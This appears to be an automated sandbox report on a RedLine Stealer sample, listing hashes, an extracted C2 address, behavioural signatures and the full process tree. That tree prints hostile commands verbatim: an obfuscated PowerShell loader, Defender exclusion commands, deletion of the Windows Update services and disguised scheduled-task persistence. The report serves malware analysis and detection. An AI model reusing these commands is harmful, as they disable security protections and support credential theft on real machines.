Analysis
- max time kernel
150s - max time network
142s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system - submitted
07/11/2022, 15:11
Static task
static1
Behavioral task
behavioral1
Sample
2a6aec6a665529ab13edfc4b6f26ebeb.exe
Resource
win7-20220812-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
2a6aec6a665529ab13edfc4b6f26ebeb.exe
Resource
win10v2004-20220812-en
16 signatures
150 seconds
General
- Target 2a6aec6a665529ab13edfc4b6f26ebeb.exe
- Size 348KB
- Sample221107-skk4msfdbp
- SHA256 d4f7c5d0b04ff56a3134b2edfcef0a690b4d0f68ff047cbf624ab12d5dd8998d
- MD5 2a6aec6a665529ab13edfc4b6f26ebeb
- SHA1 32de8f40f074317a8fa32fdbd3f38e38bc39947e
- SHA512 028f6b3d6c9b1a767074c380ad85ba02e9c97686a23b96ff93fa8c07931c44cd4c309840f9e8343625fa47fb5c45c4318d3abafa294f5c600fc673962b52758b
- SSDEEP 6144:R51PihhECV2woIcztK7LJv8evBGROAOzxhTlYBYuil+x9kxejShapkx5oHQwRXS+:R51PgSCV2woIcXOpeB4lVMjShaOxmH1h
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
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redline
Botnet
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@wuz1muu
C2
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79.137.204.112:80
Attributes
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auth_value
a3a33a7e6530b7d72a0b8cb8ad20aa64
Signatures
- Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1900-56-0x0000000000090000-0x00000000000B8000-memory.dmp family_redline behavioral1/memory/1900-61-0x00000000000B21E2-mapping.dmp family_redline behavioral1/memory/1900-62-0x0000000000090000-0x00000000000B8000-memory.dmp family_redline behavioral1/memory/1900-63-0x0000000000090000-0x00000000000B8000-memory.dmp family_redline - Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 1280 created 420 1280 powershell.EXE 3 PID 768 created 420 768 powershell.EXE 3 - Downloads MZ/PE file
- Executes dropped EXE 4 IoCs
pid Process 432 ofg.exe 800 brave.exe 1344 setup.exe 1588 updater.exe - Stops running service(s) 3 TTPs
- Loads dropped DLL 7 IoCs
pid Process 1900 AppLaunch.exe 1900 AppLaunch.exe 1900 AppLaunch.exe 1900 AppLaunch.exe 1344 setup.exe 1692 taskeng.exe 1344 setup.exe - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1228 set thread context of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 800 set thread context of 316 800 brave.exe 62 PID 1280 set thread context of 1768 1280 powershell.EXE 72 PID 768 set thread context of 1468 768 powershell.EXE 73 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe brave.exe - Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1780 sc.exe 1640 sc.exe 1336 sc.exe 1664 sc.exe 1892 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 1492 1228 WerFault.exe 26 - Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 784 schtasks.exe 1416 schtasks.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8045e7e4c3f2d801 powershell.EXE - Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1900 AppLaunch.exe 1900 AppLaunch.exe 548 powershell.exe 1352 powershell.exe 956 powershell.exe 1556 powershell.exe 768 powershell.EXE 1280 powershell.EXE 1280 powershell.EXE 1768 dllhost.exe 1768 dllhost.exe 1768 dllhost.exe 1768 dllhost.exe 768 powershell.EXE 1468 dllhost.exe 1468 dllhost.exe 1468 dllhost.exe 1468 dllhost.exe 1468 dllhost.exe 1468 dllhost.exe 960 powershell.exe - Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1900 AppLaunch.exe Token: SeDebugPrivilege 548 powershell.exe Token: SeShutdownPrivilege 1588 powercfg.exe Token: SeDebugPrivilege 1352 powershell.exe Token: SeShutdownPrivilege 1472 powercfg.exe Token: SeShutdownPrivilege 1004 powercfg.exe Token: SeShutdownPrivilege 1760 powercfg.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 768 powershell.EXE Token: SeDebugPrivilege 1280 powershell.EXE Token: SeDebugPrivilege 1280 powershell.EXE Token: SeDebugPrivilege 1768 dllhost.exe Token: SeDebugPrivilege 768 powershell.EXE Token: SeDebugPrivilege 1468 dllhost.exe Token: SeAuditPrivilege 868 svchost.exe Token: SeDebugPrivilege 960 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1900 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 28 PID 1228 wrote to memory of 1492 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 29 PID 1228 wrote to memory of 1492 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 29 PID 1228 wrote to memory of 1492 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 29 PID 1228 wrote to memory of 1492 1228 2a6aec6a665529ab13edfc4b6f26ebeb.exe 29 PID 1900 wrote to memory of 432 1900 AppLaunch.exe 31 PID 1900 wrote to memory of 432 1900 AppLaunch.exe 31 PID 1900 wrote to memory of 432 1900 AppLaunch.exe 31 PID 1900 wrote to memory of 432 1900 AppLaunch.exe 31 PID 432 wrote to memory of 1536 432 ofg.exe 32 PID 432 wrote to memory of 1536 432 ofg.exe 32 PID 432 wrote to memory of 1536 432 ofg.exe 32 PID 1536 wrote to memory of 784 1536 cmd.exe 34 PID 1536 wrote to memory of 784 1536 cmd.exe 34 PID 1536 wrote to memory of 784 1536 cmd.exe 34 PID 1900 wrote to memory of 800 1900 AppLaunch.exe 35 PID 1900 wrote to memory of 800 1900 AppLaunch.exe 35 PID 1900 wrote to memory of 800 1900 AppLaunch.exe 35 PID 1900 wrote to memory of 800 1900 AppLaunch.exe 35 PID 800 wrote to memory of 548 800 brave.exe 37 PID 800 wrote to memory of 548 800 brave.exe 37 PID 800 wrote to memory of 548 800 brave.exe 37 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1900 wrote to memory of 1344 1900 AppLaunch.exe 36 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 1344 wrote to memory of 1556 1344 setup.exe 39 PID 800 wrote to memory of 1636 800 brave.exe 41 PID 800 wrote to memory of 1636 800 brave.exe 41 PID 800 wrote to memory of 1636 800 brave.exe 41 PID 800 wrote to memory of 704 800 brave.exe 42 PID 800 wrote to memory of 704 800 brave.exe 42 PID 800 wrote to memory of 704 800 brave.exe 42 PID 800 wrote to memory of 1352 800 brave.exe 45 PID 800 wrote to memory of 1352 800 brave.exe 45 PID 800 wrote to memory of 1352 800 brave.exe 45 PID 1636 wrote to memory of 1640 1636 cmd.exe 47 PID 1636 wrote to memory of 1640 1636 cmd.exe 47 PID 1636 wrote to memory of 1640 1636 cmd.exe 47 PID 1636 wrote to memory of 1336 1636 cmd.exe 48 PID 1636 wrote to memory of 1336 1636 cmd.exe 48 PID 1636 wrote to memory of 1336 1636 cmd.exe 48 PID 704 wrote to memory of 1588 704 cmd.exe 49 PID 704 wrote to memory of 1588 704 cmd.exe 49 PID 704 wrote to memory of 1588 704 cmd.exe 49 PID 1636 wrote to memory of 1664 1636 cmd.exe 50 PID 1636 wrote to memory of 1664 1636 cmd.exe 50
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:804
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Suspicious use of AdjustPrivilegeToken
PID:868 -
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵PID:1208
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C:\Windows\system32\taskeng.exetaskeng.exe {8CB3FAFB-8CF9-4575-A8C0-B7BB90309058} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Loads dropped DLL
PID:1692 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"4⤵
- Executes dropped EXE
PID:1588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force5⤵PID:1920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:580
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:1056
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1936
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1976
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{018920b8-b445-40f2-b1e9-27d014d7b103}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{403a06f5-4e30-41f2-9c04-a0b4cb129b50}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1212
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C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe"C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\cmd.execmd.exe "/C schtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"5⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\schtasks.exeschtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"6⤵
- Creates scheduled task(s)
PID:784
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C:\Users\Admin\AppData\Local\Microsoft\brave.exe"C:\Users\Admin\AppData\Local\Microsoft\brave.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548
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C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\sc.exesc stop UsoSvc6⤵
- Launches sc.exe
PID:1640
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C:\Windows\system32\sc.exesc stop WaaSMedicSvc6⤵
- Launches sc.exe
PID:1336
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C:\Windows\system32\sc.exesc stop wuauserv6⤵
- Launches sc.exe
PID:1664
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C:\Windows\system32\sc.exesc stop bits6⤵
- Launches sc.exe
PID:1892
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C:\Windows\system32\sc.exesc stop dosvc6⤵
- Launches sc.exe
PID:1780
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f6⤵PID:892
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f6⤵PID:1232
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f6⤵
- Modifies security service
PID:288
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f6⤵PID:1768
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f6⤵PID:1272
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C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 05⤵
- Suspicious use of WriteProcessMemory
PID:704 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 06⤵
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 06⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 06⤵
- Suspicious use of AdjustPrivilegeToken
PID:1004
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 06⤵
- Suspicious use of AdjustPrivilegeToken
PID:1760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"6⤵
- Creates scheduled task(s)
PID:1416
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe5⤵
- Drops file in Windows directory
PID:316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC6⤵PID:856
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C:\Users\Admin\AppData\Local\Microsoft\setup.exe"C:\Users\Admin\AppData\Local\Microsoft\setup.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:960
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 483⤵
- Program crash
PID:1492
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Network
MITRE ATT&CK Enterprise v6
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 2.8MB
- SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
- MD5 eb27bb8cfa99d659e4fe023e9002ecd1
- SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
- SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
- Size 2.8MB
- SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
- MD5 9253ed091d81e076a3037e12af3dc871
- SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
- SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
- Size 2.8MB
- SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
- MD5 9253ed091d81e076a3037e12af3dc871
- SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
- SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
- Size 4.8MB
- SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
- MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
- SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
- SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
- SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
- Size 4.8MB
- SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
- MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
- SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
- SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
- SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
- Size 5.9MB
- SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
- MD5 96cbbd2930425374e0d2d6e251be9834
- SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
- SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
- SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
- Size 5.9MB
- SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
- MD5 96cbbd2930425374e0d2d6e251be9834
- SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
- SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
- SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 709b6ea0bb35d1ac720a3de14b310849389164ecde44c0deb74a0e32cd498a78
- MD5 708b8ad1f743c64124d9f1584b4d7faa
- SHA1 4b91334747d914345b2dae9ff04c9969c08d764c
- SHA512 a1aeb2c2f223bf3402dde82df5bdd30838a63f854ee2748c35bcbc9046cc1616f6064fd392d4542ea5770817ace3404b95e7a5d2e9475112662d96627f205162
- SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCworHyKdRQHhn7MIXlUV3:47IUoY7IAHnorHTQn7MI0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 709b6ea0bb35d1ac720a3de14b310849389164ecde44c0deb74a0e32cd498a78
- MD5 708b8ad1f743c64124d9f1584b4d7faa
